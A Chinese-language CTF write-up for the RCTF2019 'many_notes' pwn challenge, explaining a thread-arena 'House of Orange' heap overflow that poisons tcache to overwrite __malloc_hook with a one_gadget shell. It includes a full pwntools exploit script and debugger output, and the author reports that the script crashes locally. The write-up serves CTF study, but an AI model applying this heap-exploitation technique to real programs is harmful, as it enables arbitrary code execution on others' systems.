RCTF2019 pwn ManyNotes writeup

一道典型的House of Orange by thread题目。

源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/many_notes.zip 。

溢出点

void __fastcall exploit_sub_B0B(char *str, size_t length)
{
  int v2; // [rsp+1Ch] [rbp-14h]
  size_t i; // [rsp+20h] [rbp-10h]

  for ( i = 0LL; i < length; i += v2 )
  {
    v2 = read(0, &str[i], length);
    if ( v2 <= 0 )
      exit(2);
  }
}

这里存在堆溢出,但是整个函数并没有free函数,则需要我们使用到House of Orange by thread漏洞。

思路

  1. House of Orange by thread得到一块tcache chunk
  2. heap overflow修改top chunk的size
  3. heap overflow修改tcache chunk的fd

tcache chunk

for i in range(8):
    new(0x2000, 0x399, None)

new(0x2000, 800 - 2, None)
# Cut the chunk into smaller pieces, then it can take into tcache
new(0x500, 0, None)
# Triggering "House of Orange by thread"
new(0x2000, 0, None)

这里需要把chunk变得足够小,这样才能放入到tcache中。

pwndbg> bin
tcachebins
0xd0 [  1]: 0x7fb09fffef20 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

我们可以看到,top chunk被free到了tcache中。

原本top chunk不够的话,是继续向后扩展,但是如果大小达到0x4000000,则会free掉top chunk,并向前扩展。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x558c4a586000     0x558c4a588000 r-xp     2000 0      /home/ex/test/many_notes
    0x558c4a787000     0x558c4a788000 r--p     1000 1000   /home/ex/test/many_notes
    0x558c4a788000     0x558c4a789000 rw-p     1000 2000   /home/ex/test/many_notes
    0x558c4c682000     0x558c4c6a3000 rw-p    21000 0      [heap]
    0x7fb094000000     0x7fb094023000 rw-p    23000 0      
    0x7fb094023000     0x7fb098000000 ---p  3fdd000 0      
    0x7fb09c000000     0x7fb09ffff000 rw-p  3fff000 0      
    0x7fb09ffff000     0x7fb0a0000000 ---p     1000 0      
    0x7fb0a384e000     0x7fb0a384f000 ---p     1000 0      
    0x7fb0a384f000     0x7fb0a404f000 rw-p   800000 0      
    0x7fb0a404f000     0x7fb0a4236000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb0a4236000     0x7fb0a4436000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb0a4436000     0x7fb0a443a000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb0a443a000     0x7fb0a443c000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb0a443c000     0x7fb0a4440000 rw-p     4000 0      
    0x7fb0a4440000     0x7fb0a445a000 r-xp    1a000 0      /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb0a445a000     0x7fb0a4659000 ---p   1ff000 1a000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb0a4659000     0x7fb0a465a000 r--p     1000 19000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb0a465a000     0x7fb0a465b000 rw-p     1000 1a000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb0a465b000     0x7fb0a465f000 rw-p     4000 0      
    0x7fb0a465f000     0x7fb0a4686000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fb0a4864000     0x7fb0a4869000 rw-p     5000 0      
    0x7fb0a4886000     0x7fb0a4887000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fb0a4887000     0x7fb0a4888000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fb0a4888000     0x7fb0a4889000 rw-p     1000 0      
    0x7ffc4ba09000     0x7ffc4ba2b000 rw-p    22000 0      [stack]
    0x7ffc4bb88000     0x7ffc4bb8b000 r--p     3000 0      [vvar]
    0x7ffc4bb8b000     0x7ffc4bb8d000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

如上所示,0x7fb094000000-0x7fb094023000就是向上扩展的新的heap

修改 top chunk 的size

我们继续malloc的话,top chunk会继续向后扩展,直到遇到了我们之前的heap,原本程序在要撞到之前的heap的时候,会freetop chunk并继续向前扩展。但此时我们可以直接修改top chunk 的size,那么top chunk就会和原先的heap重叠,这样我们就可以溢出到之前的tcache

for i in range(17):
    new(0x2000, 0x399, None)

new(0x2000, 675, None)

# pause()
new(0x1500, 0, ['b' * (0x1500 - 0x10), 'c' * 0x10 + p64(0) + p64(0x0000000000000be1 + 0x3fff000)])

在这里面,0x0000000000000be1为原本的top chunk的size,然后我们对他进行扩展,加上0x3fff000(也就是后面的heap大小)。

然后继续向后进行top chunk扩展,我们很快就会到之前的tcache那里。

for i in range(8):
    new(0x2000, 0x399, None)
new(0x2000, 800 - 2 , None)

修改 tcache chunk 的fd

heap overflow修改tcache chunk的fd。

new(0x1b00, 0, ['d' * (0x1b00 - 0x10), 'e' * 0x100 + p64(0) + p64(0xd1) + p64(libc_base_addr + libc.symbols['__malloc_hook'])])
new(0xc8, 0, None)
# pause()

从下面可以看到,我么已经拿出了__malloc_chunk这个地址。

pwndbg> bin
tcachebins
0xc0 [  1]: 0x7fb097ffff30 ◂— 0x0
0xd0 [  0]: 0x7fb0a443ac30 (__malloc_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

接下来把它修改成one_gadget

# You need to calculate the value by your own environment.
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
new(0xc8, 0, [p64(libc_base_addr + 0x4f2c5).ljust(0xc8, '\0')])

从下面可以看到,__malloc_chunk已经被修改成了我们想要的值。

pwndbg> p __malloc_hook 
$1 = (void *(*)(size_t, const void *)) 0x7fb0a409e2c5 <do_system+1045>

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

# context.log_level = 'debug'
sh = process("./many_notes")
elf = ELF("./many_notes")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Create a temporary file for GDB debugging
try:
    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

def new(size, padding_num, content_list):
    sh.sendline("0")
    sh.recvuntil(": ")
    sh.sendline(str(size))
    sh.recvuntil(": ")
    sh.sendline(str(padding_num))
    sh.recvuntil(": ")
    if(content_list):
        sh.sendline('1')
        sh.recvuntil(": ")
        for v in content_list:
            sh.send(v)

    else:
        sh.sendline('0')
    sh.recvuntil("Choice: ")

sh.recvuntil("Please input your name: \n")
sh.send("a" * 0x8)
sh.recvuntil("a" * 0x8)

result = sh.recvuntil('\n')[:-1]
libc_base_addr = u64(result.ljust(8, "\x00")) - libc.symbols['_IO_2_1_stdout_']
log.success("libc_base_addr: " + hex(libc_base_addr))

sh.recvuntil("Choice: ")

for i in range(8):
    new(0x2000, 0x399, None)

new(0x2000, 800 - 2, None)
# Cut the chunk into smaller pieces, then it can take into tcache
new(0x500, 0, None)
# Triggering "House of Orange by thread"
new(0x2000, 0, None)

# pause()

for i in range(17):
    new(0x2000, 0x399, None)

new(0x2000, 675, None)

# pause()
new(0x1500, 0, ['b' * (0x1500 - 0x10), 'c' * 0x10 + p64(0) + p64(0x0000000000000be1 + 0x3fff000)])

for i in range(8):
    new(0x2000, 0x399, None)
new(0x2000, 800 - 2 , None)
# pause()

new(0x1b00, 0, ['d' * (0x1b00 - 0x10), 'e' * 0x100 + p64(0) + p64(0xd1) + p64(libc_base_addr + libc.symbols['__malloc_hook'])])
new(0xc8, 0, None)
# pause()

# You need to calculate the value by your own environment.
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
new(0xc8, 0, [p64(libc_base_addr + 0x4f2c5).ljust(0xc8, '\0')])

sh.interactive()

该段代码虽然并不能打通本地,结果下面所示:

Thread 2 "many_notes" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fb0a404e700 (LWP 24729)]
0x00007fb0a409e2f6 in do_system (line=0x7fb0a404dfc0 "") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x7fb0a409e2c5 (do_system+1045) ◂— lea    rsi, [rip + 0x39e3d4]
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0x2
 RSI  0x7fb0a443c6a0 (intr) ◂— 0x0
 R8   0x7fb0a404de91 ◂— 0xa /* '\n' */
 R9   0x0
 R10  0x7fb0a41edcc0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R11  0xa
 R12  0x7fb0a404dfc0 ◂— 0x0
 R13  0x0
 R14  0x0
 R15  0x7ffc4ba27ac0 ◂— 0x0
 RBP  0x7fb0a404def0 ◂— 0x0
 RSP  0x7fb0a404dea8 —▸ 0x558c4a586c6c ◂— mov    qword ptr [rbp - 0x10], rax
 RIP  0x7fb0a409e2f6 (do_system+1094) ◂— movaps xmmword ptr [rsp + 0x40], xmm0
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x7fb0a409e2f6 <do_system+1094>    movaps xmmword ptr [rsp + 0x40], xmm0
   0x7fb0a409e2fb <do_system+1099>    call   sigaction <0x7fb0a408e110>

   0x7fb0a409e300 <do_system+1104>    lea    rsi, [rip + 0x39e2f9] <0x7fb0a443c600>
   0x7fb0a409e307 <do_system+1111>    xor    edx, edx
   0x7fb0a409e309 <do_system+1113>    mov    edi, 3
   0x7fb0a409e30e <do_system+1118>    call   sigaction <0x7fb0a408e110>

   0x7fb0a409e313 <do_system+1123>    xor    edx, edx
   0x7fb0a409e315 <do_system+1125>    mov    rsi, rbp
   0x7fb0a409e318 <do_system+1128>    mov    edi, 2
   0x7fb0a409e31d <do_system+1133>    call   sigprocmask <0x7fb0a408e140>

   0x7fb0a409e322 <do_system+1138>    mov    rax, qword ptr [rip + 0x39bb7f]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7fb0a404dea8 —▸ 0x558c4a586c6c ◂— mov    qword ptr [rbp - 0x10], rax
01:0008│      0x7fb0a404deb0 —▸ 0x7fb0a409e2c5 (do_system+1045) ◂— lea    rsi, [rip + 0x39e3d4]
02:0010│      0x7fb0a404deb8 ◂— 0x0
... 
04:0020│      0x7fb0a404dec8 ◂— 0x7fc2
05:0028│      0x7fb0a404ded0 ◂— 0x800000000
06:0030│      0x7fb0a404ded8 ◂— 0x100000000
07:0038│      0x7fb0a404dee0 —▸ 0x7fb0a443ac30 (__malloc_hook) —▸ 0x7fb0a409e2c5 (do_system+1045) ◂— lea    rsi, [rip + 0x39e3d4]
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0     7fb0a409e2f6 do_system+1094
   f 1                0
Program received signal SIGSEGV (fault address 0x0)
pwndbg> 

官方的解题思路就是这样的,至于打不通本地,原因可能是靶机的glibc是2.26版本的,但我的物理机是2.27版本的。

总结

这是一道要花费很多时间去调试的题目,由于是thread_arena,所以每一个chunk的地址都需要自己手动来确定其位置。